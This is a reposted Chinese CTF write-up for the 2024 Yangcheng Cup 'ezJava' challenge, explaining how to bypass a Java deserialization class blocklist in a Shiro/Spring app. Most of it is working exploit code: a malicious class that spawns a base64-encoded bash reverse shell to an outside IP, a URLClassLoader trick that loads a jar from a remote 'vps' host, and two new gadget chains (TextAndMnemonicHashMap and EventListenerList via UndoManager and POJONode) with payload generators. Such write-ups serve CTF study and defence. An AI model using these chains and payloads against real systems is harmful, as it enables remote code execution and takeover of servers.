2024羊城杯ezJava EventListenerList新链反序列化

admin 2024年9月12日00:22:41评论46 views字数 9462阅读31分32秒阅读模式
免责声明 由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号安全洞察知识图谱及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

1
前言

ezjava

题目直接给了jar包,对源码进行分析

pom.xml文件如下

<dependencies>  
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency> <
groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-spring</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.mariadb.jdbc</groupId>
<artifactId>mariadb-java-client</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
</dependencies>

lib中jar包如下

2024羊城杯ezJava EventListenerList新链反序列化

MyObjectInputStream类过滤了下方这些类,注意是通过resolveClass的方式获取classname,所以无法通过UTF8 Overlong Encoding的方式绕过

"java.lang.Runtime"  
"java.lang.ProcessBuilder"
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
"java.security.SignedObject"
"com.sun.jndi.ldap.LdapAttribute"
"org.apache.commons.beanutils"
"org.apache.commons.collections"
"javax.management.BadAttributeValueExpException"
"com.sun.org.apache.xpath.internal.objects.XString"

User嘞通过反射的方式调用了URLClassLoader#addURL(this.username)方法,但是ban了 http和 file 之前做过,想到用jar协议来绕开并且远程加载jar包即可

2024羊城杯ezJava EventListenerList新链反序列化

shiro 部分对路径匹配限制死

2024羊城杯ezJava EventListenerList新链反序列化

那么我们目前的攻击思路是:

  1. 本地构造一个Calc类,让这个类的static、readObject方法里放上反弹shell的代码

  2. 利用admin、admin888登录到后台

  3. 通过/user/ser接口反序列化触发User#getGift方法,把远程jar包路径添加到URLClassLoader里

  4. 再次通过/user/ser接口触发Calc类的反序列化,此时服务器默认不存在Calc类,但是会去远程jar包里找,最终初始化Calc类完成反弹shell
    编译恶意exp.java为java包

javac exp.java  
jar -cvf exp.jar exp.class
import java.io.IOException;  
import java.io.ObjectInputStream;
import java.io.Serializable;

public class exp implements Serializable {
static String code = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}";
static {
try {
Runtime.getRuntime().exec(code);
} catch (IOException e) {
throw new RuntimeException(e);
}
}

private void readObject(ObjectInputStream in) throws Exception {
Runtime.getRuntime().exec(code);
}
}

由于waf我不能通过BadAttributeValueExpException来到getter

BadAttributeValueExpException#readObject -> POJONode#toString -> getter

方法一

javax.swing.UIDefaults.TextAndMnemonicHashMap->toString

找了一条新的tostring链子(javax.swing.UIDefaults.TextAndMnemonicHashMap),可以通过hashmap(readobject)触发tostring

gadget如下:

public static HashMap maskmapToString( Object o1,  Object o2) throws Exception{
Map tHashMap1 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map tHashMap2 = (Map) createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
tHashMap1.put(o1,null);
tHashMap2.put(o2,null);
setFieldValue(tHashMap1,"loadFactor",1);
setFieldValue(tHashMap2,"loadFactor",1);
HashMap hashMap = new HashMap();
Class node = Class.forName("java.util.HashMap$Node");
Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node);
constructor.setAccessible(true);
Object node1 = constructor.newInstance(0, tHashMap1, null, null);
Object node2 = constructor.newInstance(0, tHashMap2, null, null);
Field key = node.getDeclaredField("key");
Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.setInt(key, key.getModifiers() & ~Modifier.FINAL);
key.setAccessible(true);
key.set(node1, tHashMap1);
key.set(node2, tHashMap2);
Field size = HashMap.class.getDeclaredField("size");
size.setAccessible(true);
size.set(hashMap, 2);
Field table = HashMap.class.getDeclaredField("table");
table.setAccessible(true);
Object arr = Array.newInstance(node, 2);
Array.set(arr, 0, node1);
Array.set(arr, 1, node2);
table.set(hashMap, arr);
return hashMap;
}

注意 urlclassLoader的使用绕过用法:"jar:http://vps:8999/exp.jar!/"

恶意类如下:

import java.lang.reflect.Method;  
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderAddURLTest {
public static void main(String[] args) throws Exception{
String gift ="jar:http://vps:8999/exp.jar!/";
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
}
}

payload Exp.java

import com.example.ycbjava.bean.User;  
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import sun.misc.Unsafe;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
public static void main(String[] args) throws Exception{
User user = new User();
user.setUsername("jar:http://vps:8999/exp.jar!/");
// 删除 BaseJsonNode#writeReplace 方法用于顺利序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();

POJONode node = new POJONode(user);

HashMap hashMap = makeHashMapByTextAndMnemonicHashMap(node);

byte[] bytes = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static HashMap makeHashMapByTextAndMnemonicHashMap(Object toStringClass) throws Exception{
Map tHashMap1 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
Map tHashMap2 = (Map) getObjectByUnsafe(Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap"));
tHashMap1.put(toStringClass, "123");
tHashMap2.put(toStringClass, "12");
setFieldValue(tHashMap1, "loadFactor", 1);
setFieldValue(tHashMap2, "loadFactor", 1);
HashMap hashMap = new HashMap();
hashMap.put(tHashMap1,"1");
hashMap.put(tHashMap2,"1");

tHashMap1.put(toStringClass, null);
tHashMap2.put(toStringClass, null);
return hashMap;
}
public static Object getObjectByUnsafe(Class clazz) throws Exception{
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
return unsafe.allocateInstance(clazz);
}
public static void setFieldValue(Object obj, String key, Object val) throws Exception{
Field field = null;
Class clazz = obj.getClass();
while (true){
try {
field = clazz.getDeclaredField(key);
break;
} catch (NoSuchFieldException e){
clazz = clazz.getSuperclass();
}
}
field.setAccessible(true);
field.set(obj, val);
}
}

方法二

EventListenerList(readobject)->tostring

toString 的新链: EventListenerList利用链

EventListenerList.readObject -> POJONode.toString -> ConvertedVal.getValue -> ClassPathXmlApplicationContext.<init>

分析EventListenerList链子

javax.swing.event.EventListenerList#readObject

先来看readobject调用add方法

2024羊城杯ezJava EventListenerList新链反序列化

非常巧妙的是在 Object 进行拼接的时候会自动触发该对象的toString方法

2024羊城杯ezJava EventListenerList新链反序列化

javax.swing.undo.UndoManager#toString

该类实现了 UndoableEditListener 接口,而该接口继承java.util.EventListener

2024羊城杯ezJava EventListenerList新链反序列化

观察toString类limit 与 indexOfNextAdd 都是int类型,那么就跟进到父类
javax.swing.undo.CompoundEdit#toString

2024羊城杯ezJava EventListenerList新链反序列化

发现protected Vector<UndoableEdit> edits;,其余均是boolean类型

java.util.Vector#toString

直接返回了super.toString();,跟进java.util.AbstractCollection#toString

2024羊城杯ezJava EventListenerList新链反序列化

发现StringBuilder的append方法

2024羊城杯ezJava EventListenerList新链反序列化

跟进发现可以控制调用obj的toString,链子非常巧妙!

2024羊城杯ezJava EventListenerList新链反序列化

构造payload如下:

package org.example;

import com.example.ycbjava.bean.User;

import com.fasterxml.jackson.databind.node.POJONode;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

import java.lang.reflect.Field;

import java.util.Base64;
import java.util.Map;
import java.util.Vector;

import javassist.ClassPool;

import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;


public class Main {
public static void main(String[] args) throws Exception {
String gift = "url:file:/templates/shell.jar";
User user = new User();
user.setUsername(gift);

ClassPool pool = ClassPool.getDefault();
POJONode pojoNode = new POJONode(user);

//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[] { Map.class, manager });

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(list);

String ser = Base64.getEncoder()
.encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(ser);

user.getGift();

byte[] decode = Base64.getDecoder().decode(ser);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
baos.write(decode);

ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(
baos.toByteArray()));
objectInputStream.readObject();
}

public static void setFieldValue(Object obj, String fieldName, Object value)
throws Exception {
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getFieldValue(Object obj, String fieldName)
throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();

while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);

return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}

return null;
}
}

4
免费星球

安全洞察知识图谱星球是一个聚焦于信息安全对抗技术和企业安全建设的话题社区,也是一个[免费]的星球,欢迎大伙加入积极分享红蓝对抗、渗透测试、安全建设等热点主题

2024羊城杯ezJava EventListenerList新链反序列化

2024羊城杯ezJava EventListenerList新链反序列化

文章转自 先知社区 作者:1315609050541697
链接:https://xz.aliyun.com/t/15487

如有侵权,请联系删除

原文始发于微信公众号(安全洞察知识图谱):2024羊城杯ezJava EventListenerList新链反序列化

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月12日00:22:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024羊城杯ezJava EventListenerList新链反序列化https://cn-sec.com/archives/3152731.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息